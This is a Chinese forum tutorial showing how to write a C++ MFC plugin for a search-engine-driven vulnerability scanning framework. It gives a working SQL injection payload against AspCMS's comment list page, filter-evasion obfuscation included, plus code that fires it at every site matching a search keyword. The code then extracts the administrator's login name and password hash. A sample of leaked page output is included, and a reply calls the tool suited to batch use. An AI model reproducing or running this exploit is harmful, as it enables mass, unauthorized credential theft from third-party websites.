Wker_搜索引擎漏洞统计框架示例编写脚本(超详细)

示例编写插件

续上篇文章: Wker_SearchEngineScanVlun FrameWork搜索引擎漏洞链接统计框架

有人说到如何写插件,那么我就写一个,随便找个简单的aspcms漏洞。
首先我们先要知道攻击的载荷:

/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

其实写插件是很简单的。
首先我们创建一个mfc的dll项目(我这里用的是vs2010,其实无所谓,只要有mfc库就可以了)


我们默认生成创建就好。
进入之后我们删除掉mfc自带的一些示例代码(其实删不删除也无所谓):


删除掉之后我们写上去头文件的一些结构和导出函数:

#include <afxinet.h>

struct URLStruct
{
	DWORD HTTPFlag;
	CString Domain;
	CString path;
	CMap<CString,LPCTSTR,CString,LPCTSTR> arg;
	INTERNET_PORT PORT;
};

extern "C" BOOL ScanVlun(URLStruct* Link,CString *Detail);

然后有一点需要注意,我们在项目中的def文件写上我们的导出函数:


这个有了的话呢我们就不用担心导出的问题了。

然后我们就可以在对应的cpp中写代码了。

在这里我再一次讲述一遍:
第一个参数是我从搜索引擎插件中获取的链接的一些结构。

  1. HTTPFlag:http的信息,详细见AfxParseURL这个函数的HTTPflag
  2. Domain:是链接的域名
  3. path:链接的域名
  4. arg:是链接的参数,键值对
  5. PORT:是网站的端口

函数的返回值代表是否存在漏洞,第二个参数是你给我的,主要来描述漏洞的,往下看你就知道了。

知道这么些之后就可以了,我们就来写这个漏洞的检测插件。

这里的话呢我之前封装过一个mfc的网页访问类,这里我直接用了,如果你们也想要,可以在下方找我要,我会给你们代码的。
web
因为我没封装正则,所一这里我就用一个取文本中间的函数,这个网上好多,我给大家贴上来一个:

int BetweenEx(CString str, CString leftstr, CString rightstr, CStringArray &strarr)
{
	int leftIndex = str.Find(leftstr);
	int leftLength = leftstr.GetLength();
	int rightIndex = 0;
	while (leftIndex != -1)
	{
		rightIndex = str.Find(rightstr, leftIndex + leftLength);
		if (rightIndex == -1)
			break;
		strarr.Add(str.Mid(leftIndex + leftLength, rightIndex - leftIndex - leftLength));
		leftIndex = str.Find(leftstr, rightIndex + 1);
	}
	return strarr.GetSize();
}

这个看参数就知道什么意思了,第一个是文本,第二个是前面的文本,第三个是后面的文本,第四个是一个引用的数组,接受取出文本中间的内容。


到这里代码大部分就完成了,接下来就是代码了,这个是要靠你们根据情况来了,通过这个漏洞,我们找到一个存在漏洞的页面获取源代码可以看到:

<div class="clistbox">
<div class="line1"><span>发表于:2020-5-25 17:34:36</span> 评论者:admin IP: </div>
<div class="line2">49ba59abbe56e057</div>
</div>
<div class="pages"><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1  from {prefix}user,1)">首页</a><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1  from {prefix}user,1)">上一页</a><span href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1  from {prefix}user,1)">1</span><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1  from {prefix}user,1)">下一页</a><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1  from {prefix}user,1)">末页</a></div>

接下来就是解析这个账号和密码了,就是很简单的操作了,相信这块大家不会有任何疑问,我就直接贴代码了:

extern "C" BOOL ScanVlun(URLStruct* Link,CString *Detail)
{	
	CHttpVist WebVist;
	CString RealURL;
	RealURL.Format("http://%s",Link->Domain);
	RealURL.Append("/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user");
	CStringArray tmp;
	CString Header;
	CString Sresult=WebVist.GetData(RealURL,&tmp,Header);
	CStringArray resArray;
	BetweenEx(Sresult,"<div class=\"line2\">","</div>",resArray);
	if (resArray.GetSize()>0)
	{
		CString pass=resArray.GetAt(0);
		BetweenEx(Sresult,"评论者:"," IP:",resArray);
		CString user=resArray.GetAt(0);
		Detail->Format("存在aspcms漏洞,账号:%s,密码:%s",user,pass);
		return TRUE;
	}
	return FALSE;
}

很简单,就是获取到有漏洞页面的源代码,然后取出指定文本之间的内容就可以了。

这里大家可以看到,我将第二个指针参数进行了赋值,到此为止我们的代码就写完了,基本就是十几行的代码,基本没难度。


接下来我们生成,将Debug改为Release版本:
Release

然后将字符改为多字节(这个是我的一个习惯)

到此为止,完全写完了,我们生成dll:

然后将我们生成的dll放在框架目录下的Vlun目录下。

然后我们来新建一个策略:


关键字:PoweredbyAspCms2.0
这里注意的是,我写搜索引擎插件的时候没有使用URL编码,所以这里尽量不要有乱七八糟字符。
接下来我们使用这个策略:

OK,接下来就是等待了。

等待一段时间,我们看一下结果:

好了,这就是写一个属于特定漏洞的插件,很简单,搜索引擎插件这里就不说了,和漏洞一样,看我上一篇文章就可以了,一样简单,尽量不要将key强行硬编码进dll,这个是我的建议。
如果大家希望得到fofa,shodan,钟馗的搜索插件,我可以开发出来给大家使用,但是我感觉我写的这五个插件已经够用了。

这里我还需要在强调一遍,这个小工具只是提升整体网络安全的作用,所以不要乱想,细节看程序启动的AboutDlg。

@panda

3 个赞

哈哈 没必要艾特我 我就是好奇问一下 工具挺强的 适合搞批量的来弄